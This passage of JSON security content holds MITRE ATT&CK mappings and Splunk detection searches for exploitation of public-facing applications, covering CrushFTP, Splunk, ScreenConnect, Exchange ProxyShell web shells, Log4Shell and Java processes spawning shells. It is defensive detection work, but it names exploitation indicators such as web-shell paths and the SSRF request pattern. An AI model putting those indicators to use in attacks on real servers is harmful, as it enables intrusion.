"contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "mail traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "file transfer traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "web traffic" - }, - { - "technique_id": "T1190", - "technique": "Exploit Public-Facing Application", - "tactic": [ - "initial-access" - ], - "platform": [ - "Windows", - "IaaS", - "Network", - "Linux", - "macOS", - "Containers" - ], - "data_source": "network traffic", - "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", - "collection_layers": [ - "host", - "network", - "cloud" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "IaaS" - ], - "contributors": [ - "ATT&CK", - "CTID", - "ExtraHop" - ], - "data_component": "network traffic content", - "type": "information", - "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", - "source_data_element": "network traffic", - "relationship": "contained", - "target_data_element": "remote code execution traffic" - }, - { - "category": "webserver" - }, - { - "selection": { - "c-uri-path": [ - "*/config/keystore/*.js*" - ] - }, - "condition": "selection" - }, - { - "product": "windows", - "service": "system" - }, - { - "selection": { - "EventID": [ - 56, - 50 - ], - "Source": "TermDD" - }, - "condition": "selection" - }, - [ - { - "Event ID": null, - "Event Name": "Application logs" - }, - { - "Event ID": null, - "Event Name": "Packet capture" - }, - { - "Event ID": null, - "Event Name": "Web logs" - }, - { - "Event ID": null, - "Event Name": "Web application firewall logs" - } - ], - [ - { - "Event ID": null, - "Event Name": "Application logs" - }, - { - "Event ID": null, - "Event Name": "Packet capture" - }, - { - "Event ID": null, - "Event Name": "Web logs" - }, - { - "Event ID": null, - "Event Name": "Web application firewall logs" - } - ], - { - "name": "CrushFTP Server Side Template Injection", - "description": "This analytic is designed to identify attempts to exploit a server-side template injection vulnerability in CrushFTP, designated as CVE-2024-4040. This severe vulnerability enables unauthenticated remote attackers to access and read files beyond the VFS Sandbox, circumvent authentication protocols, and execute arbitrary commands on the affected server. The issue impacts all versions of CrushFTP up to 10.7.1 and 11.1.0 on all supported platforms. It is highly recommended to apply patches immediately to prevent unauthorized access to the system and avoid potential data compromises. The search specifically looks for patterns in the raw log data that match the exploitation attempts, including READ or WRITE actions, and extracts relevant information such as the protocol, session ID, user, IP address, HTTP method, and the URI queried. It then evaluates these logs to confirm traces of exploitation based on the presence of specific keywords and the originating IP address, counting and sorting these events for further analysis.", - "search": "`crushftp` | rex field=_raw \"\\[(?HTTPS|HTTP):(?[^\\:]+):(?[^\\:]+):(?\\d+\\.\\d+\\.\\d+\\.\\d+)\\] (?READ|WROTE): \\*(?[A-Z]+) (?[^\\s]+) HTTP/[^\\*]+\\*\" | eval message=if(match(_raw, \"INCLUDE\") and isnotnull(src_ip), \"traces of exploitation by \" . src_ip, \"false\") | search message!=false | rename host as dest | stats count by _time, dest, source, message, src_ip, http_method, uri_query, user, action | sort -_time| `crushftp_server_side_template_injection_filter`", - "tags": { - "analytic_story": [ - "CrushFTP Vulnerabilities" - ], - "asset_type": "Web Application", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Potential exploitation of CrushFTP Server Side Template Injection Vulnerability on $dest$ by $src_ip$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk Enterprise Windows Deserialization File Partition", - "description": "The following analytic identifies attempts to exploit a deserialization vulnerability in Splunk Enterprise for Windows versions below 9.0.8 and 9.1.3. It detects irregular path file executions by analyzing `splunk_python` logs and extracting file paths and names. This activity is significant because it indicates potential exploitation of a known vulnerability, which could lead to arbitrary code execution. If confirmed malicious, an attacker could gain unauthorized access, execute arbitrary code, and potentially compromise the entire Splunk environment, leading to data breaches and further system exploitation.", - "search": "`splunk_python` request_path=\"/en-US/app/search/C:\\\\Program\" *strings* | rex \"request_path=(?[^\\\"]+)\" | rex field=file_path \"[^\\\"]+/(?[^\\\"\\'\\s/\\\\\\\\]+)\" | stats min(_time) as firstTime max(_time) as lastTime values(file_path) as file_path values(file_name) as file_name by index, sourcetype, host | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_enterprise_windows_deserialization_file_partition_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Windows Deserialization exploitation via irregular path file against $host$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk RCE via Serialized Session Payload", - "description": "The following analytic detects the execution of a specially crafted query using the 'collect' SPL command in Splunk Enterprise versions lower than 8.2.12, 9.0.6, and 9.1.1. It leverages audit logs to identify searches containing both 'makeresults' and 'collect' commands. This activity is significant because it can indicate an attempt to serialize untrusted data, potentially leading to arbitrary code execution. If confirmed malicious, this could allow an attacker to execute code within the Splunk environment, leading to unauthorized access and control over the system.", - "search": "`audit_searches` file=* (search=\"*makeresults*\" AND search=\"*collect*\") | stats count min(_time) as firstTime max(_time) as lastTime by action file user splunk_server search | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_rce_via_serialized_session_payload_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "splunk_server", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential abuse of the 'collect' SPL command against $splunk_server$ by detected by $user$", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Splunk Unauthenticated Log Injection Web Service Log", - "description": "The following analytic identifies potential log injection attempts into the Splunk server via specially crafted web URLs. It detects ANSI escape codes within the `uri_path` field of `splunkd_webx` logs. This activity is significant as it can lead to log file manipulation, potentially obfuscating malicious actions or misleading analysts. If confirmed malicious, an attacker could manipulate log files to hide their tracks or execute further attacks, compromising the integrity of the logging system and making incident response more challenging.", - "search": "`splunkd_webx` uri_path IN (\"*\\x1B*\", \"*\\u001b*\", \"*\\033*\", \"*\\0x9*\", \"*\\0x8*\") | stats count by uri_path method host status clientip | `splunk_unauthenticated_log_injection_web_service_log_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "clientip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Splunk unauthenticated log injection web service log exploitation attempt against $host$ from $clientip$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "ConnectWise ScreenConnect Path Traversal", - "description": "The following analytic detects attempts to exploit the ConnectWise ScreenConnect CVE-2024-1708 vulnerability, which allows path traversal attacks by manipulating file_path and file_name parameters in the URL. It leverages the Endpoint datamodel Filesystem node to identify suspicious file system events, specifically targeting paths and filenames associated with ScreenConnect. This activity is significant as it can lead to unauthorized access to sensitive files and directories, potentially resulting in data exfiltration or arbitrary code execution. If confirmed malicious, attackers could gain unauthorized access and control over the host system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\ScreenConnect\\\\App_Extensions\\\\*\") Filesystem.file_name IN (\"*.aspx\",\"*.ashx\") by Filesystem.file_create_time Filesystem.process_id Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `connectwise_screenconnect_path_traversal_filter`", - "tags": { - "analytic_story": [ - "ConnectWise ScreenConnect Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A path traversal attack against ScreenConnect has been detected on $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "ConnectWise ScreenConnect Path Traversal Windows SACL", - "description": "The following analytic detects attempts to exploit the ConnectWise ScreenConnect CVE-2024-1708 vulnerability using Windows SACL EventCode 4663. It identifies path traversal attacks by monitoring file system events related to the ScreenConnect service. This activity is significant as it allows unauthorized access to sensitive files and directories, potentially leading to data exfiltration or arbitrary code execution. If confirmed malicious, attackers could gain unauthorized access to critical data or execute harmful code, compromising the integrity and security of the affected system. Immediate remediation by updating to version 23.9.8 or above is recommended.", - "search": "`wineventlog_security` EventCode=4663 ProcessName=*\\\\ScreenConnect.Service.exe file_path IN (\"*\\\\ScreenConnect\\\\App_Extensions\\\\*\") file_name IN (\"*.aspx\",\"*.ashx\") | stats count min(_time) as firstTime max(_time) as lastTime by ObjectName ObjectType ProcessName AccessMask process_id EventCode Computer Caller_User_Name | rename Computer as dest Caller_User_Name as user ProcessName as process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `connectwise_screenconnect_path_traversal_windows_sacl_filter`", - "tags": { - "analytic_story": [ - "ConnectWise ScreenConnect Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A path traversal attack against ScreenConnect has been detected on $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Exchange Web Shell", - "description": "The following analytic identifies the creation of suspicious .aspx files in known drop locations for Exchange exploitation, specifically targeting paths associated with HAFNIUM group and vulnerabilities like ProxyShell and ProxyNotShell. It leverages data from the Endpoint datamodel, focusing on process and filesystem events. This activity is significant as it may indicate a web shell deployment, a common method for persistent access and remote code execution. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary commands, and potentially escalate privileges within the Exchange environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\HttpProxy\\\\owa\\\\auth\\\\*\", \"*\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*\", \"*\\\\HttpProxy\\\\OAB\\\\*\") Filesystem.file_name IN( \"*.aspx\", \"*.ashx\") by _time span=1h Filesystem.user Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest user file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest user file_create_time, file_name, file_path, process_name | `detect_exchange_web_shell_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-257A", - "HAFNIUM Group", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Victim" - ] - } - ], - "message": "A file - $file_name$ was written to disk that is related to IIS exploitation previously performed by HAFNIUM. Review further file modifications on endpoint $dest$ by user $user$.", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exchange PowerShell Abuse via SSRF", - "description": "The following analytic detects suspicious behavior indicative of ProxyShell exploitation against on-premise Microsoft Exchange servers. It identifies HTTP POST requests to `autodiscover.json` containing `PowerShell` in the URI, leveraging server-side request forgery (SSRF) to access backend PowerShell. This detection uses Exchange server logs ingested into Splunk. Monitoring this activity is crucial as it may indicate an attacker attempting to execute commands or scripts on the Exchange server. If confirmed malicious, this could lead to unauthorized access, privilege escalation, or persistent control over the Exchange environment.", - "search": "`exchange` c_uri=\"*//autodiscover*\" cs_uri_query=\"*PowerShell*\" cs_method=\"POST\" | stats count min(_time) as firstTime max(_time) as lastTime by dest, cs_uri_query, cs_method, c_uri | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exchange_powershell_abuse_via_ssrf_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "ProxyNotShell", - "ProxyShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to ProxyShell has been identified on $dest$. Review events and take action accordingly.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Java Class File download by Java User Agent", - "description": "The following analytic identifies a Java user agent performing a GET request for a .class file from a remote site. It leverages web or proxy logs within the Web Datamodel to detect this activity. This behavior is significant as it may indicate exploitation attempts, such as those related to CVE-2021-44228 (Log4Shell). If confirmed malicious, an attacker could exploit vulnerabilities in the Java application, potentially leading to remote code execution and further compromise of the affected system.", - "search": "| tstats count from datamodel=Web where Web.http_user_agent=\"*Java*\" Web.http_method=\"GET\" Web.url=\"*.class*\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `java_class_file_download_by_java_user_agent_filter`", - "tags": { - "analytic_story": [ - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "http_user_agent", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "http_method", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "A Java user agent $http_user_agent$ was performing a $http_method$ to retrieve a remote class file.", - "risk_score": 40, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - } - ] - } - }, - { - "name": "Java Writing JSP File", - "description": "The following analytic detects the Java process writing a .jsp file to disk, which may indicate a web shell being deployed. It leverages data from the Endpoint datamodel, specifically monitoring process and filesystem activities. This activity is significant because web shells can provide attackers with remote control over the compromised server, leading to further exploitation. If confirmed malicious, this could allow unauthorized access, data exfiltration, or further compromise of the affected system, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name IN (\"java\",\"java.exe\", \"javaw.exe\") by _time Processes.process_id Processes.process_name Processes.dest Processes.process_guid Processes.user | `drop_dm_object_name(Processes)` | join process_guid [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"*.jsp*\" by _time Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid Filesystem.user | `drop_dm_object_name(Filesystem)` | fields _time process_guid file_path file_name file_create_time user dest process_name] | stats count min(_time) as firstTime max(_time) as lastTime by dest process_name process_guid file_name file_path file_create_time user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `java_writing_jsp_file_filter`", - "tags": { - "analytic_story": [ - "Atlassian Confluence Server and Data Center CVE-2022-26134", - "Spring4Shell CVE-2022-22965", - "SysAid On-Prem Software CVE-2023-47246 Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $process_name$ was identified on endpoint $dest$ writing a jsp file $file_name$ to disk, potentially indicative of exploitation.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Linux Java Spawning Shell", - "description": "The following analytic detects instances where Java, Apache, or Tomcat processes spawn a Linux shell, which may indicate exploitation attempts, such as those related to CVE-2021-44228 (Log4Shell). This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process names and parent-child process relationships. This activity is significant as it can signify a compromised Java application, potentially leading to unauthorized shell access. If confirmed malicious, attackers could execute arbitrary commands, escalate privileges, or maintain persistent access, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=java OR Processes.parent_process_name=apache OR Processes.parent_process_name=tomcat `linux_shells` by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_java_spawning_shell_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Log4Shell CVE-2021-44228", - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ spawning a Linux shell, potentially indicative of exploitation.", - "risk_score": 